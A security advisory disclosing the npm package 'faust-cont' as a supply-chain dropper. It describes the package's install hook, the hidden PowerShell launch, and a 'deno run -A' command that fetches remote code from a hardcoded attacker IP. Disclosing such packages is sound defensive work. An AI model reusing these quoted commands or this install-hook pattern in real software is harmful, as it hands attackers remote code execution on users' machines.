OpenSSF/OSV advisory MAL-2026-11042 confirms this npm version as malicious. The npm package \`faust-cont\` is a supply-chain dropper disguised as a benign CLI tool (\`index.js\` is a decoy that only logs "cli tool install package loaded"). The real behaviour is placed in an install script.

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

The npm package \`faust-cont\` is a supply-chain dropper disguised as a benign CLI tool (\`index.js\` is a decoy that only logs "cli tool install package loaded"). The real behaviour is placed in an install script.

An \`install\` lifecycle hook (\`install: node install.js\`) executes automatically on \`npm install\`, before the package is ever imported. On Windows the install script writes a PowerShell script to \`%TEMP%\\setup.ps1\` and launches it hidden and detached (\`powershell -WindowStyle Hidden -ExecutionPolicy Bypass\`). That script bootstraps a runtime toolchain so execution succeeds on a clean host — it installs scoop (\`irm get.scoop.sh | iex\`), then winget, then Deno — and finally runs \`deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js\`, fetching and executing a remote module from a hardcoded raw IP over plain HTTP with all Deno permissions granted (filesystem, network, environment, subprocess). Per the dropper's own comments the remote stage is a server-compiled loader that pulls a second stage which sets up autorun persistence and runs a main payload. The install script also contains a Telegram Bot API beacon that reports OS / architecture / hostname on install (the bot token is blank in the published build). Any Windows workstation or CI runner that installs the package (directly or transitively) hands all-permission remote code execution to the operator.

Detected and classified independently by codelake Research from the npm feed on 2026-07-21; at the time of reporting the package was not present in OSV or GHSA (a first-catch). The package was already unpublished from npm by the time of analysis; the artifact is preserved in the codelake archive.
